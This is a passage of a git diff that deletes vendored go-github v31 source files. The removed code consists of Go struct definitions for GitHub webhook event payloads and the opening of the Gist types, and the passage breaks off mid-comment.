Possible values are: "branch", "tag". - RefType *string `json:"ref_type,omitempty"` - - // The following fields are only populated by Webhook events. - PusherType *string `json:"pusher_type,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// DeployKeyEvent is triggered when a deploy key is added or removed from a repository. -// The Webhook event name is "deploy_key". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#deploykeyevent -type DeployKeyEvent struct { - // Action is the action that was performed. Possible values are: - // "created" or "deleted". - Action *string `json:"action,omitempty"` - - // The deploy key resource. - Key *Key `json:"key,omitempty"` -} - -// DeploymentEvent represents a deployment. -// The Webhook event name is "deployment". -// -// Events of this type are not visible in timelines, they are only used to trigger hooks. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#deploymentevent -type DeploymentEvent struct { - Deployment *Deployment `json:"deployment,omitempty"` - Repo *Repository `json:"repository,omitempty"` - - // The following fields are only populated by Webhook events. - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// DeploymentStatusEvent represents a deployment status. -// The Webhook event name is "deployment_status". -// -// Events of this type are not visible in timelines, they are only used to trigger hooks. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#deploymentstatusevent -type DeploymentStatusEvent struct { - Deployment *Deployment `json:"deployment,omitempty"` - DeploymentStatus *DeploymentStatus `json:"deployment_status,omitempty"` - Repo *Repository `json:"repository,omitempty"` - - // The following fields are only populated by Webhook events. - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// ForkEvent is triggered when a user forks a repository. -// The Webhook event name is "fork". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#forkevent -type ForkEvent struct { - // Forkee is the created repository. - Forkee *Repository `json:"forkee,omitempty"` - - // The following fields are only populated by Webhook events. - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// GitHubAppAuthorizationEvent is triggered when a user's authorization for a -// GitHub Application is revoked. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#githubappauthorizationevent -type GitHubAppAuthorizationEvent struct { - // The action performed. Possible value is: "revoked". - Action *string `json:"action,omitempty"` - - // The following fields are only populated by Webhook events. - Sender *User `json:"sender,omitempty"` -} - -// Page represents a single Wiki page. -type Page struct { - PageName *string `json:"page_name,omitempty"` - Title *string `json:"title,omitempty"` - Summary *string `json:"summary,omitempty"` - Action *string `json:"action,omitempty"` - SHA *string `json:"sha,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` -} - -// GollumEvent is triggered when a Wiki page is created or updated. -// The Webhook event name is "gollum". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#gollumevent -type GollumEvent struct { - Pages []*Page `json:"pages,omitempty"` - - // The following fields are only populated by Webhook events. - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// EditChange represents the changes when an issue, pull request, or comment has -// been edited. -type EditChange struct { - Title *struct { - From *string `json:"from,omitempty"` - } `json:"title,omitempty"` - Body *struct { - From *string `json:"from,omitempty"` - } `json:"body,omitempty"` -} - -// ProjectChange represents the changes when a project has been edited. -type ProjectChange struct { - Name *struct { - From *string `json:"from,omitempty"` - } `json:"name,omitempty"` - Body *struct { - From *string `json:"from,omitempty"` - } `json:"body,omitempty"` -} - -// ProjectCardChange represents the changes when a project card has been edited. -type ProjectCardChange struct { - Note *struct { - From *string `json:"from,omitempty"` - } `json:"note,omitempty"` -} - -// ProjectColumnChange represents the changes when a project column has been edited. -type ProjectColumnChange struct { - Name *struct { - From *string `json:"from,omitempty"` - } `json:"name,omitempty"` -} - -// TeamChange represents the changes when a team has been edited. -type TeamChange struct { - Description *struct { - From *string `json:"from,omitempty"` - } `json:"description,omitempty"` - Name *struct { - From *string `json:"from,omitempty"` - } `json:"name,omitempty"` - Privacy *struct { - From *string `json:"from,omitempty"` - } `json:"privacy,omitempty"` - Repository *struct { - Permissions *struct { - From *struct { - Admin *bool `json:"admin,omitempty"` - Pull *bool `json:"pull,omitempty"` - Push *bool `json:"push,omitempty"` - } `json:"from,omitempty"` - } `json:"permissions,omitempty"` - } `json:"repository,omitempty"` -} - -// InstallationEvent is triggered when a GitHub App has been installed or uninstalled. -// The Webhook event name is "installation". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#installationevent -type InstallationEvent struct { - // The action that was performed. Can be either "created" or "deleted". - Action *string `json:"action,omitempty"` - Repositories []*Repository `json:"repositories,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// InstallationRepositoriesEvent is triggered when a repository is added or -// removed from an installation. The Webhook event name is "installation_repositories". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#installationrepositoriesevent -type InstallationRepositoriesEvent struct { - // The action that was performed. Can be either "added" or "removed". - Action *string `json:"action,omitempty"` - RepositoriesAdded []*Repository `json:"repositories_added,omitempty"` - RepositoriesRemoved []*Repository `json:"repositories_removed,omitempty"` - RepositorySelection *string `json:"repository_selection,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// IssueCommentEvent is triggered when an issue comment is created on an issue -// or pull request. -// The Webhook event name is "issue_comment". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#issuecommentevent -type IssueCommentEvent struct { - // Action is the action that was performed on the comment. - // Possible values are: "created", "edited", "deleted". - Action *string `json:"action,omitempty"` - Issue *Issue `json:"issue,omitempty"` - Comment *IssueComment `json:"comment,omitempty"` - - // The following fields are only populated by Webhook events. - Changes *EditChange `json:"changes,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// IssuesEvent is triggered when an issue is opened, edited, deleted, transferred, -// pinned, unpinned, closed, reopened, assigned, unassigned, labeled, unlabeled, -// locked, unlocked, milestoned, or demilestoned. -// The Webhook event name is "issues". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#issuesevent -type IssuesEvent struct { - // Action is the action that was performed. Possible values are: "opened", - // "edited", "deleted", "transferred", "pinned", "unpinned", "closed", "reopened", - // "assigned", "unassigned", "labeled", "unlabeled", "locked", "unlocked", - // "milestoned", or "demilestoned". - Action *string `json:"action,omitempty"` - Issue *Issue `json:"issue,omitempty"` - Assignee *User `json:"assignee,omitempty"` - Label *Label `json:"label,omitempty"` - - // The following fields are only populated by Webhook events. - Changes *EditChange `json:"changes,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// LabelEvent is triggered when a repository's label is created, edited, or deleted. -// The Webhook event name is "label" -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#labelevent -type LabelEvent struct { - // Action is the action that was performed. Possible values are: - // "created", "edited", "deleted" - Action *string `json:"action,omitempty"` - Label *Label `json:"label,omitempty"` - - // The following fields are only populated by Webhook events. - Changes *EditChange `json:"changes,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Org *Organization `json:"organization,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// MarketplacePurchaseEvent is triggered when a user purchases, cancels, or changes -// their GitHub Marketplace plan. -// Webhook event name "marketplace_purchase". -// -// Github API docs: https://developer.github.com/v3/activity/events/types/#marketplacepurchaseevent -type MarketplacePurchaseEvent struct { - // Action is the action that was performed. Possible values are: - // "purchased", "cancelled", "pending_change", "pending_change_cancelled", "changed". - Action *string `json:"action,omitempty"` - - // The following fields are only populated by Webhook events. - EffectiveDate *Timestamp `json:"effective_date,omitempty"` - MarketplacePurchase *MarketplacePurchase `json:"marketplace_purchase,omitempty"` - PreviousMarketplacePurchase *MarketplacePurchase `json:"previous_marketplace_purchase,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// MemberEvent is triggered when a user is added as a collaborator to a repository. -// The Webhook event name is "member". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#memberevent -type MemberEvent struct { - // Action is the action that was performed. Possible value is: "added". - Action *string `json:"action,omitempty"` - Member *User `json:"member,omitempty"` - - // The following fields are only populated by Webhook events. - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// MembershipEvent is triggered when a user is added or removed from a team. -// The Webhook event name is "membership". -// -// Events of this type are not visible in timelines, they are only used to -// trigger organization webhooks. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#membershipevent -type MembershipEvent struct { - // Action is the action that was performed. Possible values are: "added", "removed". - Action *string `json:"action,omitempty"` - // Scope is the scope of the membership. Possible value is: "team". - Scope *string `json:"scope,omitempty"` - Member *User `json:"member,omitempty"` - Team *Team `json:"team,omitempty"` - - // The following fields are only populated by Webhook events. - Org *Organization `json:"organization,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// MetaEvent is triggered when the webhook that this event is configured on is deleted. -// This event will only listen for changes to the particular hook the event is installed on. -// Therefore, it must be selected for each hook that you'd like to receive meta events for. -// The Webhook event name is "meta". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#metaevent -type MetaEvent struct { - // Action is the action that was performed. Possible value is: "deleted". - Action *string `json:"action,omitempty"` - // The ID of the modified webhook. - HookID *int64 `json:"hook_id,omitempty"` - // The modified webhook. - // This will contain different keys based on the type of webhook it is: repository, - // organization, business, app, or GitHub Marketplace. - Hook *Hook `json:"hook,omitempty"` -} - -// MilestoneEvent is triggered when a milestone is created, closed, opened, edited, or deleted. -// The Webhook event name is "milestone". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#milestoneevent -type MilestoneEvent struct { - // Action is the action that was performed. Possible values are: - // "created", "closed", "opened", "edited", "deleted" - Action *string `json:"action,omitempty"` - Milestone *Milestone `json:"milestone,omitempty"` - - // The following fields are only populated by Webhook events. - Changes *EditChange `json:"changes,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Org *Organization `json:"organization,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// OrganizationEvent is triggered when an organization is deleted and renamed, and when a user is added, -// removed, or invited to an organization. -// Events of this type are not visible in timelines. These events are only used to trigger organization hooks. -// Webhook event name is "organization". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#organizationevent -type OrganizationEvent struct { - // Action is the action that was performed. - // Possible values are: "deleted", "renamed", "member_added", "member_removed", or "member_invited". - Action *string `json:"action,omitempty"` - - // Invitation is the invitation for the user or email if the action is "member_invited". - Invitation *Invitation `json:"invitation,omitempty"` - - // Membership is the membership between the user and the organization. - // Not present when the action is "member_invited". - Membership *Membership `json:"membership,omitempty"` - - Organization *Organization `json:"organization,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// OrgBlockEvent is triggered when an organization blocks or unblocks a user. -// The Webhook event name is "org_block". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#orgblockevent -type OrgBlockEvent struct { - // Action is the action that was performed. - // Can be "blocked" or "unblocked". - Action *string `json:"action,omitempty"` - BlockedUser *User `json:"blocked_user,omitempty"` - Organization *Organization `json:"organization,omitempty"` - Sender *User `json:"sender,omitempty"` - - // The following fields are only populated by Webhook events. - Installation *Installation `json:"installation,omitempty"` -} - -// PageBuildEvent represents an attempted build of a GitHub Pages site, whether -// successful or not. -// The Webhook event name is "page_build". -// -// This event is triggered on push to a GitHub Pages enabled branch (gh-pages -// for project pages, master for user and organization pages). -// -// Events of this type are not visible in timelines, they are only used to trigger hooks. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#pagebuildevent -type PageBuildEvent struct { - Build *PagesBuild `json:"build,omitempty"` - - // The following fields are only populated by Webhook events. - ID *int64 `json:"id,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// PingEvent is triggered when a Webhook is added to GitHub. -// -// GitHub API docs: https://developer.github.com/webhooks/#ping-event -type PingEvent struct { - // Random string of GitHub zen. - Zen *string `json:"zen,omitempty"` - // The ID of the webhook that triggered the ping. - HookID *int64 `json:"hook_id,omitempty"` - // The webhook configuration. - Hook *Hook `json:"hook,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// ProjectEvent is triggered when project is created, modified or deleted. -// The webhook event name is "project". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#projectevent -type ProjectEvent struct { - Action *string `json:"action,omitempty"` - Changes *ProjectChange `json:"changes,omitempty"` - Project *Project `json:"project,omitempty"` - - // The following fields are only populated by Webhook events. - Repo *Repository `json:"repository,omitempty"` - Org *Organization `json:"organization,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// ProjectCardEvent is triggered when a project card is created, updated, moved, converted to an issue, or deleted. -// The webhook event name is "project_card". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#projectcardevent -type ProjectCardEvent struct { - Action *string `json:"action,omitempty"` - Changes *ProjectCardChange `json:"changes,omitempty"` - AfterID *int64 `json:"after_id,omitempty"` - ProjectCard *ProjectCard `json:"project_card,omitempty"` - - // The following fields are only populated by Webhook events. - Repo *Repository `json:"repository,omitempty"` - Org *Organization `json:"organization,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// ProjectColumnEvent is triggered when a project column is created, updated, moved, or deleted. -// The webhook event name is "project_column". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#projectcolumnevent -type ProjectColumnEvent struct { - Action *string `json:"action,omitempty"` - Changes *ProjectColumnChange `json:"changes,omitempty"` - AfterID *int64 `json:"after_id,omitempty"` - ProjectColumn *ProjectColumn `json:"project_column,omitempty"` - - // The following fields are only populated by Webhook events. - Repo *Repository `json:"repository,omitempty"` - Org *Organization `json:"organization,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// PublicEvent is triggered when a private repository is open sourced. -// According to GitHub: "Without a doubt: the best GitHub event." -// The Webhook event name is "public". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#publicevent -type PublicEvent struct { - // The following fields are only populated by Webhook events. - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// PullRequestEvent is triggered when a pull request is assigned, unassigned, labeled, -// unlabeled, opened, edited, closed, reopened, synchronize, ready_for_review, -// locked, unlocked, a pull request review is requested, or a review request is removed. -// The Webhook event name is "pull_request". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#pullrequestevent -type PullRequestEvent struct { - // Action is the action that was performed. Possible values are: - // "assigned", "unassigned", "review_requested", "review_request_removed", "labeled", "unlabeled", - // "opened", "edited", "closed", "ready_for_review", "locked", "unlocked", or "reopened". - // If the action is "closed" and the "merged" key is "false", the pull request was closed with unmerged commits. - // If the action is "closed" and the "merged" key is "true", the pull request was merged. - // While webhooks are also triggered when a pull request is synchronized, Events API timelines - // don't include pull request events with the "synchronize" action. - Action *string `json:"action,omitempty"` - Assignee *User `json:"assignee,omitempty"` - Number *int `json:"number,omitempty"` - PullRequest *PullRequest `json:"pull_request,omitempty"` - - // The following fields are only populated by Webhook events. - Changes *EditChange `json:"changes,omitempty"` - // RequestedReviewer is populated in "review_requested", "review_request_removed" event deliveries. - // A request affecting multiple reviewers at once is split into multiple - // such event deliveries, each with a single, different RequestedReviewer. - RequestedReviewer *User `json:"requested_reviewer,omitempty"` - // In the event that a team is requested instead of a user, "requested_team" gets sent in place of - // "requested_user" with the same delivery behavior. - RequestedTeam *Team `json:"requested_team,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` - Label *Label `json:"label,omitempty"` // Populated in "labeled" event deliveries. - - // The following field is only present when the webhook is triggered on - // a repository belonging to an organization. - Organization *Organization `json:"organization,omitempty"` - - // The following fields are only populated when the Action is "synchronize". - Before *string `json:"before,omitempty"` - After *string `json:"after,omitempty"` -} - -// PullRequestReviewEvent is triggered when a review is submitted on a pull -// request. -// The Webhook event name is "pull_request_review". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#pullrequestreviewevent -type PullRequestReviewEvent struct { - // Action is always "submitted". - Action *string `json:"action,omitempty"` - Review *PullRequestReview `json:"review,omitempty"` - PullRequest *PullRequest `json:"pull_request,omitempty"` - - // The following fields are only populated by Webhook events. - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` - - // The following field is only present when the webhook is triggered on - // a repository belonging to an organization. - Organization *Organization `json:"organization,omitempty"` -} - -// PullRequestReviewCommentEvent is triggered when a comment is created on a -// portion of the unified diff of a pull request. -// The Webhook event name is "pull_request_review_comment". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#pullrequestreviewcommentevent -type PullRequestReviewCommentEvent struct { - // Action is the action that was performed on the comment. - // Possible values are: "created", "edited", "deleted". - Action *string `json:"action,omitempty"` - PullRequest *PullRequest `json:"pull_request,omitempty"` - Comment *PullRequestComment `json:"comment,omitempty"` - - // The following fields are only populated by Webhook events. - Changes *EditChange `json:"changes,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// PushEvent represents a git push to a GitHub repository. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#pushevent -type PushEvent struct { - PushID *int64 `json:"push_id,omitempty"` - Head *string `json:"head,omitempty"` - Ref *string `json:"ref,omitempty"` - Size *int `json:"size,omitempty"` - Commits []*HeadCommit `json:"commits,omitempty"` - Before *string `json:"before,omitempty"` - DistinctSize *int `json:"distinct_size,omitempty"` - - // The following fields are only populated by Webhook events. - After *string `json:"after,omitempty"` - Created *bool `json:"created,omitempty"` - Deleted *bool `json:"deleted,omitempty"` - Forced *bool `json:"forced,omitempty"` - BaseRef *string `json:"base_ref,omitempty"` - Compare *string `json:"compare,omitempty"` - Repo *PushEventRepository `json:"repository,omitempty"` - HeadCommit *HeadCommit `json:"head_commit,omitempty"` - Pusher *User `json:"pusher,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -func (p PushEvent) String() string { - return Stringify(p) -} - -// HeadCommit represents a git commit in a GitHub PushEvent. -type HeadCommit struct { - Message *string `json:"message,omitempty"` - Author *CommitAuthor `json:"author,omitempty"` - URL *string `json:"url,omitempty"` - Distinct *bool `json:"distinct,omitempty"` - - // The following fields are only populated by Events API. - SHA *string `json:"sha,omitempty"` - - // The following fields are only populated by Webhook events. - ID *string `json:"id,omitempty"` - TreeID *string `json:"tree_id,omitempty"` - Timestamp *Timestamp `json:"timestamp,omitempty"` - Committer *CommitAuthor `json:"committer,omitempty"` - Added []string `json:"added,omitempty"` - Removed []string `json:"removed,omitempty"` - Modified []string `json:"modified,omitempty"` -} - -func (p HeadCommit) String() string { - return Stringify(p) -} - -// PushEventRepository represents the repo object in a PushEvent payload. -type PushEventRepository struct { - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - Name *string `json:"name,omitempty"` - FullName *string `json:"full_name,omitempty"` - Owner *User `json:"owner,omitempty"` - Private *bool `json:"private,omitempty"` - Description *string `json:"description,omitempty"` - Fork *bool `json:"fork,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - PushedAt *Timestamp `json:"pushed_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - Homepage *string `json:"homepage,omitempty"` - PullsURL *string `json:"pulls_url,omitempty"` - Size *int `json:"size,omitempty"` - StargazersCount *int `json:"stargazers_count,omitempty"` - WatchersCount *int `json:"watchers_count,omitempty"` - Language *string `json:"language,omitempty"` - HasIssues *bool `json:"has_issues,omitempty"` - HasDownloads *bool `json:"has_downloads,omitempty"` - HasWiki *bool `json:"has_wiki,omitempty"` - HasPages *bool `json:"has_pages,omitempty"` - ForksCount *int `json:"forks_count,omitempty"` - Archived *bool `json:"archived,omitempty"` - Disabled *bool `json:"disabled,omitempty"` - OpenIssuesCount *int `json:"open_issues_count,omitempty"` - DefaultBranch *string `json:"default_branch,omitempty"` - MasterBranch *string `json:"master_branch,omitempty"` - Organization *string `json:"organization,omitempty"` - URL *string `json:"url,omitempty"` - ArchiveURL *string `json:"archive_url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - StatusesURL *string `json:"statuses_url,omitempty"` - GitURL *string `json:"git_url,omitempty"` - SSHURL *string `json:"ssh_url,omitempty"` - CloneURL *string `json:"clone_url,omitempty"` - SVNURL *string `json:"svn_url,omitempty"` -} - -// PushEventRepoOwner is a basic representation of user/org in a PushEvent payload. -type PushEventRepoOwner struct { - Name *string `json:"name,omitempty"` - Email *string `json:"email,omitempty"` -} - -// ReleaseEvent is triggered when a release is published, unpublished, created, -// edited, deleted, or prereleased. -// The Webhook event name is "release". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#releaseevent -type ReleaseEvent struct { - // Action is the action that was performed. Possible values are: "published", "unpublished", - // "created", "edited", "deleted", or "prereleased". - Action *string `json:"action,omitempty"` - Release *RepositoryRelease `json:"release,omitempty"` - - // The following fields are only populated by Webhook events. - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// RepositoryEvent is triggered when a repository is created, archived, unarchived, -// renamed, edited, transferred, made public, or made private. Organization hooks are -// also trigerred when a repository is deleted. -// The Webhook event name is "repository". -// -// Events of this type are not visible in timelines, they are only used to -// trigger organization webhooks. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#repositoryevent -type RepositoryEvent struct { - // Action is the action that was performed. Possible values are: "created", - // "deleted" (organization hooks only), "archived", "unarchived", "edited", "renamed", - // "transferred", "publicized", or "privatized". - Action *string `json:"action,omitempty"` - Repo *Repository `json:"repository,omitempty"` - - // The following fields are only populated by Webhook events. - Org *Organization `json:"organization,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// RepositoryDispatchEvent is triggered when a client sends a POST request to the repository dispatch event endpoint. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#repositorydispatchevent -type RepositoryDispatchEvent struct { - // Action is the event_type that submitted with the repository dispatch payload. Value can be any string. - Action *string `json:"action,omitempty"` - Branch *string `json:"branch,omitempty"` - ClientPayload json.RawMessage `json:"client_payload,omitempty"` - Repo *Repository `json:"repository,omitempty"` - - // The following fields are only populated by Webhook events. - Org *Organization `json:"organization,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// RepositoryVulnerabilityAlertEvent is triggered when a security alert is created, dismissed, or resolved. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#repositoryvulnerabilityalertevent -type RepositoryVulnerabilityAlertEvent struct { - // Action is the action that was performed. Possible values are: "create", "dismiss", "resolve". - Action *string `json:"action,omitempty"` - - //The security alert of the vulnerable dependency. - Alert *struct { - ID *int64 `json:"id,omitempty"` - AffectedRange *string `json:"affected_range,omitempty"` - AffectedPackageName *string `json:"affected_package_name,omitempty"` - ExternalReference *string `json:"external_reference,omitempty"` - ExternalIdentifier *string `json:"external_identifier,omitempty"` - FixedIn *string `json:"fixed_in,omitempty"` - Dismisser *User `json:"dismisser,omitempty"` - DismissReason *string `json:"dismiss_reason,omitempty"` - DismissedAt *Timestamp `json:"dismissed_at,omitempty"` - } `json:"alert,omitempty"` -} - -// StarEvent is triggered when a star is added or removed from a repository. -// The Webhook event name is "star". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#starevent -type StarEvent struct { - // Action is the action that was performed. Possible values are: "created" or "deleted". - Action *string `json:"action,omitempty"` - - // StarredAt is the time the star was created. It will be null for the "deleted" action. - StarredAt *Timestamp `json:"starred_at,omitempty"` -} - -// StatusEvent is triggered when the status of a Git commit changes. -// The Webhook event name is "status". -// -// Events of this type are not visible in timelines, they are only used to -// trigger hooks. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#statusevent -type StatusEvent struct { - SHA *string `json:"sha,omitempty"` - // State is the new state. Possible values are: "pending", "success", "failure", "error". - State *string `json:"state,omitempty"` - Description *string `json:"description,omitempty"` - TargetURL *string `json:"target_url,omitempty"` - Branches []*Branch `json:"branches,omitempty"` - - // The following fields are only populated by Webhook events. - ID *int64 `json:"id,omitempty"` - Name *string `json:"name,omitempty"` - Context *string `json:"context,omitempty"` - Commit *RepositoryCommit `json:"commit,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// TeamEvent is triggered when an organization's team is created, modified or deleted. -// The Webhook event name is "team". -// -// Events of this type are not visible in timelines. These events are only used -// to trigger hooks. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#teamevent -type TeamEvent struct { - Action *string `json:"action,omitempty"` - Team *Team `json:"team,omitempty"` - Changes *TeamChange `json:"changes,omitempty"` - Repo *Repository `json:"repository,omitempty"` - - // The following fields are only populated by Webhook events. - Org *Organization `json:"organization,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// TeamAddEvent is triggered when a repository is added to a team. -// The Webhook event name is "team_add". -// -// Events of this type are not visible in timelines. These events are only used -// to trigger hooks. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#teamaddevent -type TeamAddEvent struct { - Team *Team `json:"team,omitempty"` - Repo *Repository `json:"repository,omitempty"` - - // The following fields are only populated by Webhook events. - Org *Organization `json:"organization,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// UserEvent is triggered when a user is created or deleted. -// The Webhook event name is "user". -// -// Only global webhooks can subscribe to this event type. -// -// GitHub API docs: https://developer.github.com/enterprise/v3/activity/events/types/#userevent-enterprise -type UserEvent struct { - User *User `json:"user,omitempty"` - // The action performed. Possible values are: "created" or "deleted". - Action *string `json:"action,omitempty"` - Enterprise *Enterprise `json:"enterprise,omitempty"` - Sender *User `json:"sender,omitempty"` -} - -// WatchEvent is related to starring a repository, not watching. See this API -// blog post for an explanation: https://developer.github.com/changes/2012-09-05-watcher-api/ -// -// The event’s actor is the user who starred a repository, and the event’s -// repository is the repository that was starred. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#watchevent -type WatchEvent struct { - // Action is the action that was performed. Possible value is: "started". - Action *string `json:"action,omitempty"` - - // The following fields are only populated by Webhook events. - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} diff --git a/vendor/github.com/google/go-github/v31/github/gists.go b/vendor/github.com/google/go-github/v31/github/gists.go deleted file mode 100644 index 026b5d15ee..0000000000 --- a/vendor/github.com/google/go-github/v31/github/gists.go +++ /dev/null @@ -1,364 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// GistsService handles communication with the Gist related -// methods of the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/gists/ -type GistsService service - -// Gist represents a GitHub's gist. -type Gist struct { - ID *string `json:"id,omitempty"` - Description *string `json:"description,omitempty"` - Public *bool `json:"public,omitempty"` - Owner *User `json:"owner,omitempty"` - Files map[GistFilename]GistFile `json:"files,omitempty"` - Comments *int `json:"comments,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - GitPullURL *string `json:"git_pull_url,omitempty"` - GitPushURL *string `json:"git_push_url,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` - UpdatedAt *time.Time `json:"updated_at,omitempty"` - NodeID *string `json:"node_id,omitempty"` -} - -func (g Gist) String() string { - return Stringify(g) -} - -// GistFilename represents filename on a gist. -type GistFilename string - -// GistFile represents a file on a gist. -type GistFile struct { - Size *int `json:"size,omitempty"` - Filename *string `json:"filename,omitempty"` - Language *string `json:"language,omitempty"` - Type *string `json:"type,omitempty"` - RawURL *string `json:"raw_url,omitempty"` - Content *string `json:"content,omitempty"` -} - -func (g GistFile) String() string { - return Stringify(g) -} - -// GistCommit represents a commit on a gist. -type GistCommit struct { - URL *string `json:"url,omitempty"` - Version *string `json:"version,omitempty"` - User *User `json:"user,omitempty"` - ChangeStatus *CommitStats `json:"change_status,omitempty"` - CommittedAt *Timestamp `json:"committed_at,omitempty"` - NodeID *string `json:"node_id,omitempty"` -} - -func (gc GistCommit) String() string { - return Stringify(gc) -} - -// GistFork represents a fork of a gist. -type GistFork struct { - URL *string `json:"url,omitempty"` - User *User `json:"user,omitempty"` - ID *string `json:"id,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - NodeID *string `json:"node_id,omitempty"` -} - -func (gf GistFork) String() string { - return Stringify(gf) -} - -// GistListOptions specifies the optional parameters to the -// GistsService.List, GistsService.ListAll, and GistsService.ListStarred methods. -type GistListOptions struct { - // Since filters Gists by time. - Since time.Time `url:"since,omitempty"` - - ListOptions -} - -// List gists for a user. Passing the empty string will list -// all public gists if called anonymously. However, if the call -// is authenticated, it will returns all gists for the authenticated -// user. -// -// GitHub API docs: 